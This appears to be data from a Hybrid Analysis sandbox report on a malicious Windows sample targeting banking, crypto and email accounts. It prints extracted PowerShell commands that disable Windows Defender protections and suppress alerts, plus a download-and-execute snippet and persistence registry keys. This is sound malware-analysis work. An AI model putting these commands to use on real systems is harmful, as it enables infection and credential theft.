34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 42:I[99539,["$1","$2","$3","$4","$5"],"IconMark"] 33:T502,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample f404eea5934f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f404eea5934f…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 12/24 AV engines flagged this file. 2 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8"],"about":{"@type":"SoftwareApplication","name":"f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","applicationCategory":["peexe","assembly","executable"],"identifier":"f404eea5934fd13161562824edc7f0593ae598dd5a5160a8e517d204edc0a5c8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":12,"total":24},"behavioralIndicators":{"malicious":2,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T2379,Heuristic match: "tutanota.com", Pattern match: "https://wise.com", Heuristic match: "google.com", Pattern match: "https://www.google.com/", Heuristic match: "acb.com.vn", Pattern match: "https://login.icq.com/logout", Heuristic match: "instagram.com", Pattern match: "https://www.ttbbank.com", Pattern match: "https://www.vpbank.com.vn", Heuristic match: "twitch.tv", Heuristic match: "gmail.com", Heuristic match: "login.yahoo.com", Heuristic match: "scb.co.th", Heuristic match: "ocbc.com", Heuristic match: "mac.com", Heuristic match: "spotify.com", Heuristic match: "gate.io", Pattern match: "https://www.bankofamerica.com", Pattern match: "https://www.bangkokbank.com", Pattern match: "https://github.com/rustdesk/rustdesk/releases/download/1.4.9/rustdesk-1.4.9-x86_64.exe", Pattern match: "https://www.gcash.com", Pattern match: "https://www.bca.co.id", Heuristic match: "bangkokbank.com", Pattern match: "https://www.tpb.vn", Pattern match: "https://appleid.apple.com/signout", Heuristic match: "yahoo.com", Pattern match: "https://login.yahoo.com/account/logout", Heuristic match: "gmx.net", Heuristic match: "zohomail.com", Pattern match: "https://account.web.de/logout", Heuristic match: "ktb.co.th", Heuristic match: "nab.com.au", Heuristic match: "googlemail.com", Heuristic match: "chase.com", Pattern match: "https://account.proton.me/logout", Heuristic match: "hsbc.com", Pattern match: "https://www.maya.ph", Heuristic match: "capitalone.com", Heuristic match: "venmo.com", Pattern match: "https://mail.proton.me/logout", Heuristic match: "yandex.ru", Heuristic match: "accounts.google.com", Pattern match: "https://www.linkedin.com/uas/logout", Heuristic match: "slack.com", Heuristic match: "snapchat.com", Heuristic match: "metamask.io", Heuristic match: "licdn.com", Heuristic match: "ledger.com", Heuristic match: "bmo.com", Pattern match: "https://www.google.com/maps/@", Heuristic match: "tiktok.com", Pattern match: "https://x.com/logout", Heuristic match: "bpi.com.ph", Heuristic match: "supports@consultant.com", Pattern match: "https://www.bidv.com.vn", Pattern match: "https://mail.yahoo.com/?logout=1", Pattern match: "https://www.amazon.com/gp/flex/sign-out.html", Heuristic match: "zoho.com", Heuristic match: "opensea.io", Heuristic match: "trezor.io", Heuristic match: "okx.com", Heuristic match: "pnc.com", Heuristic match: "coinbase.com", Heuristic match: "bofa.com", Pattern match: "https://upload.wikimedia.org/wikipedia/commons/6/6b/explosion.ogg", Heuristic match: "ymail.com", Heuristic match: "amazon.com", Pattern match: "https://earth.google.com/web/@", Heuristic match: "bdo.com.ph", Pattern match: "https://roundcube.example.invalid/", Pattern match: "https://www.dbs.com.sg", Pattern match: "https://www.uob.com.sg", Pattern match: "https://www.google.com/maps?q=", Heuristic match: "gmx.com", Pattern match: "https://www.hsbc.com", Heuristic match: "tutamail.com", Heuristic match: "mail.yahoo.com", Pattern match: "https://www.citi.com", Pattern match: "https://login.live.com/logout.srf?wa=wsignout1.0", Pattern match: "https://www.vietcombank.com.vn", Pattern match: "https://www.techcombank.com.vn", Pattern match: "https://upload.wikimedia.org/wikipedia/commons/transcoded/3/3a/controlled_explosion.ogv/controlled_explosion.ogv.480p.vp9.webm", Heuristic match: "x.com", Heuristic match: "rbc.com", Heuristic match: "bankofamerica.com", Heuristic match: "td.com", Heuristic match: "github.com", Heuristic match: "fb.com", Heuristic match: "yahoo.net", Heuristic match: "blockchain.com", Heuristic match: "discord.com", Heuristic match: "mexc.com", Heuristic match: "anz.com", Pattern match: "https://www.google.com/maps?layer=c&cbll=", Pattern match: "https://www.bri.co.id", Heuristic match: "wise.com", Heuristic match: "inbox.com", Pattern match: "https://(bank)/", Heuristic match: "gemini.com", Pattern match: "https://accounts.google.com/logout", Pattern match: "https://www.instagram.com/accounts/logout/", Heuristic match: "proton.me", Heuristic match: "mail.ru", Heuristic match: "web.de", Heuristic match: "signal.org", Heuristic match: "bni.co.id", Heuristic match: "ttbbank.com", Heuristic match: "bitfinex.com", Pattern match: "https://download.teamviewer.com/download/teamviewer_setup.exe", Pattern match: "https://www.tiktok.com/logout", Pattern match: "https://www.ultraviewer.net/en/ultraviewer_setup_6.6.11_en.exe", Heuristic match: "qq.com", Heuristic match: "paypal.com", Heuristic match: "maya.ph", Heuristic match: "wechat.com", Heuristic match: "cimb.com", Pattern match: "https://login.yahoo.com/account/logout?logout=1&.done=https://mail.yahoo.com", Pattern match: "https://mail.google.com/mail/u/0/?logout&hl=en", Pattern match: "https://upload.wikimedia.org/wikipedia/commons/0/0c/fireball.ogv", Heuristic match: "whatsapp.com", Pattern match: "https://www.maybank2u.com.my", Pattern match: "https://login.aol.com/account/logout", Pattern match: "https://actions.google.com/sounds/v1/explosions/cannon_fire.ogg", Heuristic match: "twitter.com", Heuristic match: "kbank.com", Heuristic match: "wellsfargo.com", Heuristic match: "usbank.com", Pattern match: "https://www.wellsfargo.com", Pattern match: "https://mail.aol.com/webmail-std/en-us/suite", Pattern match: "https://www.alipay.com", Pattern match: "https://www.bpi.com.ph", Heuristic match: "ing.com", Pattern match: "https://www.paypal.com/signout", Heuristic match: "ftx.com", Heuristic match: "bri.co.id", Heuristic match: "commbank.com.au", Pattern match: "https://slack.com/signout", Heuristic match: "bca.co.id", Pattern match: "https://discord.com/login", Heuristic match: "icloud.com", Pattern match: "https://www.gmx.com/", Heuristic match: "linkedin.com", Heuristic match: "dropbox.com", Heuristic match: "me.com", Pattern match: "https://www.vietinbank.vn", Heuristic match: "google.co", Pattern match: "https://www.scb.co.th", Pattern match: "https://accounts.snapchat.com/accounts/logout", Heuristic match: "bitstamp.net", Heuristic match: "apple.com", Heuristic match: "citi.com", Heuristic match: "huobi.com", Pattern match: "https://www.cimbclicks.com.my", Pattern match: "https://www.ktb.co.th", Pattern match: "https://www.krungsri.com", Pattern match: "https://accounts.google.com/logout?continue=https://mail.google.com/mail/u/0/", Heuristic match: "gcash.com", Heuristic match: "westpac.com.au", Heuristic match: "snap.com", Heuristic match: "ebay.com", Heuristic match: "yimg.com", Pattern match: "https://www.ocbc.com", Heuristic match: "mbbank.com.vn", Pattern match: "https://upload.wikimedia.org/wikipedia/commons/transcoded/e/e2/burning_house.webm/burning_house.webm.720p.vp9.webm", Heuristic match: "telegram.org", Heuristic match: "cdninstagram.com", Heuristic match: "alipay.com", Pattern match: "https://github.com/logout", Pattern match: "https://www.bdo.com.ph", Pattern match: "https://www.messenger.com/logout/", Pattern match: "https://account.gmx.com/logout", Heuristic match: "youtube.com", Pattern match: "https://actions.google.com/sounds/v1/explosions/explosion.ogg", Heuristic match: "n26.com", Pattern match: "https://www.icloud.com/mail", Heuristic match: "messenger.com", Heuristic match: "facebook.com", Pattern match: "https://www.bni.co.id", Heuristic match: "zoom.com", Pattern match: "https://twitter.com/logout", Heuristic match: "natwest.com", Pattern match: "https://app.tutanota.com/logout", Pattern match: "https://www.mbbank.com.vn", Heuristic match: "bybit.com", Pattern match: "https://www.acb.com.vn", Heuristic match: "kraken.com", Pattern match: "https://passport.yandex.com/passport?mode=logout", Heuristic match: "mailbox.org", Heuristic match: "twimg.com", Heuristic match: "tiktokv.com", Heuristic match: "gitlab.com", Heuristic match: "aol.com", Pattern match: "https://www.paypal.com", Heuristic match: "revolut.com", Heuristic match: "uob.com", Pattern match: "https://www.facebook.com/logout.php", Heuristic match: "zoom.us", Heuristic match: "crypto.com", Heuristic match: "tdbank.com", Pattern match: "https://www.fastmail.com/login/", Heuristic match: "viber.com", Heuristic match: "dbs.com", Pattern match: "https://www.revolut.com", Pattern match: "https://www.bankmandiri.co.id", Heuristic match: "poloniex.com", Heuristic match: "citibank.com", Pattern match: "https://mail.yandex.com/?logout=yes", Heuristic match: "skype.com", Pattern match: "https://account.zoho.com/logout", Heuristic match: "163.com", Heuristic match: "bitbucket.org", Heuristic match: "byteoversea.com", Heuristic match: "netflix.com", Heuristic match: "uniswap.org", Pattern match: "https://mail.ru/cgi-bin/logout", Heuristic match: "126.com", Heuristic match: "exodus.com", Heuristic match: "yandex.com", Pattern match: "http://127.0.0.1", Heuristic match: "binance.com", Pattern match: "https://mail.zoho.com/zm/logout.do", Heuristic match: "reddit.com", Heuristic match: "verizonmedia.com", Pattern match: "https://www.kasikornbank.com", Heuristic match: "bidv.com", Heuristic match: "kucoin.com", Heuristic match: "line.me", Heuristic match: "protonmail.com", Heuristic match: "fastmail.com"37:T428,Found HTTPS url "https://wise.com", Found HTTPS url "https://www.google.com", Found HTTPS url "https://login.icq.com", Found HTTPS url "https://www.ttbbank.com", Found HTTPS url "https://www.vpbank.com.vn", Found HTTPS url "https://www.bankofamerica.com", Found HTTPS url "https://www.bangkokbank.com", Found HTTPS url "https://github.com", Found HTTPS url "https://www.gcash.com", Found HTTPS url "https://www.bca.co.id", Found HTTPS url "https://www.tpb.vn", Found HTTPS url "https://appleid.apple.com", Found HTTPS url "https://login.yahoo.com", Found HTTPS url "https://account.web.de", Found HTTPS url "https://account.proton.me", Found HTTPS url "https://www.maya.ph", Found HTTPS url "https://mail.proton.me", Found HTTPS url "https://www.linkedin.com", Found HTTPS url "https://x.com", Found HTTPS url "https://www.bidv.com.vn", Found HTTPS url "https://mail.yahoo.com", Found HTTPS url "https://www.amazon.com", Found HTTPS url "https://upload.wikimedia.org", Found HTTPS url "https://earth.google.com", Found HTTPS url "https://roundcube.example.invalid"38:Tb58,Found reference to API "Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam" (Indicator: "access"; Source: "sample.bin"), Found reference to API "System.Runtime.InteropServices" (Indicator: "time"; Source: "sample.bin"), Found reference to API "ReadAllLines" (Indicator: "read"; Source: "sample.bin"), Found reference to API "ReadSharedBytes" (Indicator: "read"; Source: "sample.bin"), Found reference to API "securityInfo" (Indicator: "security"; Source: "sample.bin"), Found reference to API "BCryptCloseAlgorithmProvider" (Indicator: "close"; Source: "sample.bin"), Found reference to API "set_ReadOnly" (Indicator: "read"; Source: "sample.bin"), Found reference to API "$re = \"Add-MpPreference -ExclusionPath '$dir';Add-MpPreference -ExclusionPath '$tmp';Add-MpPreference -ExclusionPath '$pd';Add-MpPreference -ExclusionPath '$sd';Set-MpPreference -EnableControlledFolderAccess Disabled\"" (Indicator: "access"; Source: "sample.bin"), Found reference to API "set_CreateNoWindow" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "ReadAnyDeskId" (Indicator: "read"; Source: "sample.bin"), Found reference to API "NortonSecurity" (Indicator: "security"; Source: "sample.bin"), Found reference to API "SendAsync" (Indicator: "sync"; Source: "sample.bin"), Found reference to API "HttpListenerContext" (Indicator: "listen"; Source: "sample.bin"), Found reference to API "SignOutKillProcs" (Indicator: "kill"; Source: "sample.bin"), Found reference to API "SignOutKillProcs" (Indicator: "tkill"; Source: "sample.bin"), Found reference to API "VIEWER_STATUS|CDP connected - streaming page screenshots" (Indicator: "connect"; Source: "sample.bin"), Found reference to API "VIEWER_STATUS|CDP connected - streaming page screenshots" (Indicator: "stat"; Source: "sample.bin"), Found reference to API "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Force | Out-Null" (Indicator: "time"; Source: "sample.bin"), Found reference to API "TASK_DATA|Self-spread: scanning LAN every 10s" (Indicator: "read"; Source: "sample.bin"), Found reference to API "CloseDesktop" (Indicator: "close"; Source: "sample.bin"), Found reference to API "one-time" (Indicator: "time"; Source: "sample.bin"), Found reference to API "cntThreads" (Indicator: "read"; Source: "sample.bin"), Found reference to API "Windows.SystemToast.SecurityAndMaintenance" (Indicator: "security"; Source: "sample.bin"), Found reference to API "VIEWER_STATUS|browser windows=" (Indicator: "stat"; Source: "sample.bin"), Found reference to API "get_HasExited" (Indicator: "exit"; Source: "sample.bin"), Found reference to API "GetLastWriteTime" (Indicator: "time"; Source: "sample.bin"), Found reference to API "GetLastWriteTime" (Indicator: "write"; Source: "sample.bin"), Found reference to API "COOKIE_AUTO_ACCEPT" (Indicator: "accept"; Source: "sample.bin")39:T1330,"Software\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam" in Source: sample.bin, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: sample.bin, "Software\Microsoft\Office\" in Source: sample.bin, "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Force | Out-Null" in Source: sample.bin, "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: sample.bin, "Software\Classes\CLSID\" in Source: sample.bin, "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce" in Source: sample.bin, "Software\Clients\StartMenuInternet" in Source: sample.bin, "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Force | Out-Null" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access" in Source: sample.bin, "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: sample.bin, "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Features' -Force | Out-Null" in Source: sample.bin, "add HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\" in Source: sample.bin, "Software\WOW6432Node\Clients\StartMenuInternet" in Source: sample.bin, "Software\Classes\CLSID" in Source: sample.bin, "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command try{Set-MpPreference -DisableNotifications $true}catch{};try{Set-MpPreference -EnableControlledFolderAccess Enabled}catch{};try{Add-MpPreference -ControlledFolderAccessAllowedApplications $env:LOCALAPPDATA}catch{};try{Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy' -Name Enabled -Value 0 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance' -Name Enabled -Value 0 -Type DWord -Force}catch{}" in Source: sample.bin, "HKEY_CURRENT_USER\Software\Microsoft\SBCore" in Source: sample.bin, "Software\Microsoft\IdentityCRL" in Source: sample.bin, "Software\Microsoft\Windows\CurrentVersion" in Source: sample.bin, "HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: sample.bin, "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet' -Name 'SpynetReporting' -Value 0 -Type DWord -Force" in Source: sample.bin, "Software\Microsoft\Office\Outlook\SocialConnector" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" in Source: sample.bin, "\Registry\Machine\System\CurrentControlSet\Services\" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" in Source: sample.bin, "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\" in Source: sample.bin, "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Features' -Name 'TamperProtection' -Value 0 -Type DWord -Force" in Source: sample.bin, "SOFTWARE\WOW6432Node\Classes\CLSID" in Source: sample.bin, "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" in Source: sample.bin, "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: sample.bin, "HKEY_CURRENT_USER\Software\PO431830" in Source: sample.bin, "SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\webcam" in Source: sample.bin, "Software\\Microsoft\\Windows\\CurrentVersion\\Run" in Source: sample.bin, "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles" in Source: sample.bin, "Software\Microsoft\Internet Account Manager\Accounts" in Source: sample.bin, "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access' -Force | Out-Null" in Source: sample.bin, "SOFTWARE\Classes\CLSID" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer" in Source: sample.bin, "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet' -Force | Out-Null" in Source: sample.bin, "HKEY_LOCAL_MACHINE\\" in Source: sample.bin, "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control" in Source: sample.bin, "Software\Microsoft\Office\16.0\Common\ServicesManagerCache" in Source: sample.bin, "HKEY_LOCAL_MACHINE\" in Source: sample.bin, "Software\Microsoft\Windows\CurrentVersion\Run" in Source: sample.bin3a:T21d9,Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "sample.bin"), Found reference to API (Indicator: "SetSystemCursor"; Source: "sample.bin"), Found reference to API (Indicator: "CredFree"; Source: "sample.bin"), Found reference to API (Indicator: "BCryptDestroyKey"; Source: "sample.bin"), Found reference to API (Indicator: "CloseDesktop"; Source: "sample.bin"), Found reference to API (Indicator: "MoveWindow"; Source: "sample.bin"), Found reference to API (Indicator: "MapVirtualKey"; Source: "sample.bin"), Found reference to API (Indicator: "Process32FirstW"; Source: "sample.bin"), Found reference to API (Indicator: "NtTerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBox"; Source: "sample.bin"), Found reference to API (Indicator: "CoInitializeEx"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectory"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadDesktop"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "StartService"; Source: "sample.bin"), Found reference to API (Indicator: "CloseServiceHandle"; Source: "sample.bin"), Found reference to API (Indicator: "NtSuspendProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "OpenSCManager"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowPos"; Source: "sample.bin"), Found reference to API (Indicator: "ShowWindow"; Source: "sample.bin"), Found reference to API (Indicator: "SetClipboardData"; Source: "sample.bin"), Found reference to API (Indicator: "RtlInitUnicodeString"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPath"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "FindWindow"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindowVisible"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessage"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetClassName"; Source: "sample.bin"), Found reference to API (Indicator: "BCryptDecrypt"; Source: "sample.bin"), Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowText"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowLong"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "GetAsyncKeyState"; Source: "sample.bin"), Found reference to API (Indicator: "FreeConsole"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "sample.bin"), Found reference to API (Indicator: "SwitchDesktop"; Source: "sample.bin"), Found reference to API (Indicator: "BCryptGenerateSymmetricKey"; Source: "sample.bin"), Found reference to API (Indicator: "SysFreeString"; Source: "sample.bin"), Found reference to API (Indicator: "SendMessage"; Source: "sample.bin"), Found reference to API (Indicator: "BitBlt"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowsHookEx"; Source: "sample.bin"), Found reference to API (Indicator: "SetCursorPos"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalLock"; Source: "sample.bin"), Found reference to API (Indicator: "Module32Next"; Source: "sample.bin"), Found reference to API (Indicator: "CloseClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCursor"; Source: "sample.bin"), Found reference to API (Indicator: "NtTerminateThread"; Source: "sample.bin"), Found reference to API (Indicator: "CredEnumerate"; Source: "sample.bin"), Found reference to API (Indicator: "GetDC"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleDC"; Source: "sample.bin"), Found reference to API (Indicator: "ShowCursor"; Source: "sample.bin"), Found reference to API (Indicator: "PostMessage"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptor"; Source: "sample.bin"), Found reference to API (Indicator: "SetWindowLong"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowDC"; Source: "sample.bin"), Found reference to API (Indicator: "EnumWindows"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDesktop"; Source: "sample.bin"), Found reference to API (Indicator: "GetForegroundWindow"; Source: "sample.bin"), Found reference to API (Indicator: "NtQuerySystemInformation"; Source: "sample.bin"), Found reference to API (Indicator: "CreateService"; Source: "sample.bin"), Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "OpenDesktopW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "OpenService"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowRect"; Source: "sample.bin"), Found reference to API (Indicator: "QueueUserWorkItem"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcess"; Source: "sample.bin"), Found reference to API (Indicator: "OpenDesktop"; Source: "sample.bin"), Found reference to API (Indicator: "EnumChildWindows"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseDC"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "QueryServiceStatus"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandle"; Source: "sample.bin"), Found reference to API (Indicator: "EmptyClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalUnlock"; Source: "sample.bin"), Found reference to API (Indicator: "BCryptSetProperty"; Source: "sample.bin"), Found reference to API (Indicator: "Module32First"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "GetMessage"; Source: "sample.bin"), Found reference to API (Indicator: "SystemParametersInfo"; Source: "sample.bin"), Found reference to API (Indicator: "SendInput"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "NtUnloadDriver"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleWindow"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessById"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "NtLoadDriver"; Source: "sample.bin"), Found reference to API (Indicator: "Process32NextW"; Source: "sample.bin"), Found reference to API (Indicator: "ReadProcessMemory"; Source: "sample.bin"), Found reference to API (Indicator: "Process32First"; Source: "sample.bin"), Found reference to API (Indicator: "SetWinEventHook"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "ControlService"; Source: "sample.bin"), Found reference to API (Indicator: "GetClipboardData"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemMetrics"; Source: "sample.bin"), Found reference to API (Indicator: "SetKernelObjectSecurity"; Source: "sample.bin"), Found reference to API (Indicator: "CallNextHookEx"; Source: "sample.bin"), Found reference to API (Indicator: "OpenClipboard"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin")3b:T8c2,Found string "'\r\n$out = Join-Path $env:TEMP ('upd_'+[guid]::NewGuid().ToString('N').Substring(0,6)+'.exe')\r\ntry { (New-Object System.Net.WebClient).DownloadFile($url, $out); Start-Process $out } catch { }\r\n" (Indicator: "Join-Path"; Source: "sample.bin"), Found string "'\r\n$out = Join-Path $env:TEMP ('upd_'+[guid]::NewGuid().ToString('N').Substring(0,6)+'.exe')\r\ntry { (New-Object System.Net.WebClient).DownloadFile($url, $out); Start-Process $out } catch { }\r\n" (Indicator: "New-Object"; Source: "sample.bin"), Found string " Write-Output ('BT|' + $d.Id + '|' + $name + '|CanPair=' + $can + '|IsPaired=' + $paired)" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " } catch { Write-Output (' COPY_ERR|' + $_.Exception.Message) }" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " if ($dev.Pairing.IsPaired) { Write-Output 'ALREADY_PAIRED'; Write-Output 'PAIR_OK'; return }" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " if ($pt.Status -ne 'RanToCompletion') { Write-Output 'PAIR_NO_OR_TIMEOUT'; Start-Sleep -Seconds $delaySec; continue }" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " $c = New-Object System.Management.Automation.PSCredential($userName, $empty)" (Indicator: "New-Object"; Source: "sample.bin"), Found string " } catch { Write-Output ('PAIR_ERR:' + $_.Exception.Message); Start-Sleep -Seconds $delaySec }" (Indicator: "Write-Output"; Source: "sample.bin"), Found string "Write-Output 'PAIR_MAX_ATTEMPTS'" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " if ($t.Status -ne 'RanToCompletion') { Write-Output 'PAIR_LOOKUP_FAIL'; Start-Sleep -Seconds $delaySec; continue }" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " $dest = Join-Path $out ($n + '_' + $sub.Name)" (Indicator: "Join-Path"; Source: "sample.bin"), Found string "} catch { Write-Output ('SHELL_ERR|' + $_.Exception.Message) }" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " Write-Output ('PAIR_STATUS:' + $res.Status)" (Indicator: "Write-Output"; Source: "sample.bin"), Found string " Write-Output ('--- ' + $label + ' ---')" (Indicator: "Write-Output"; Source: "sample.bin")3c:T47e,Found string "twitter" (Indicator: "twitter"; Source: "sample.bin"), Found string "https://www.linkedin.com/uas/logout" (Indicator: "linkedin.com"; Source: "sample.bin"), Found string "SIGNOUT_RESULT|Twitter/X signed out." (Indicator: "twitter"; Source: "sample.bin"), Found string "paypal.com" (Indicator: "paypal"; Source: "sample.bin"), Found string "twitter.com" (Indicator: "twitter"; Source: "sample.bin"), Found string "https://www.paypal.com/signout" (Indicator: "paypal"; Source: "sample.bin"), Found string "linkedin.com" (Indicator: "linkedin.com"; Source: "sample.bin"), Found string "youtube.com" (Indicator: "youtube"; Source: "sample.bin"), Found string "facebook.com" (Indicator: "facebook.com"; Source: "sample.bin"), Found string "https://twitter.com/logout" (Indicator: "twitter"; Source: "sample.bin"), Found string "https://www.paypal.com" (Indicator: "paypal"; Source: "sample.bin"), Found string "https://www.facebook.com/logout.php" (Indicator: "facebook.com"; Source: "sample.bin"), Found string "PayPal" (Indicator: "paypal"; Source: "sample.bin"), Found string "netflix.com" (Indicator: "netflix.com"; Source: "sample.bin")3d:T488,Found string "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "Software\Microsoft\Windows\CurrentVersion\RunOnce" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "Software\Microsoft\Windows\CurrentVersion\RunOnce" (Indicator: "software\microsoft\windows\currentversion\runonce"; in Source: "sample.bin"), Found string "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" (Indicator: 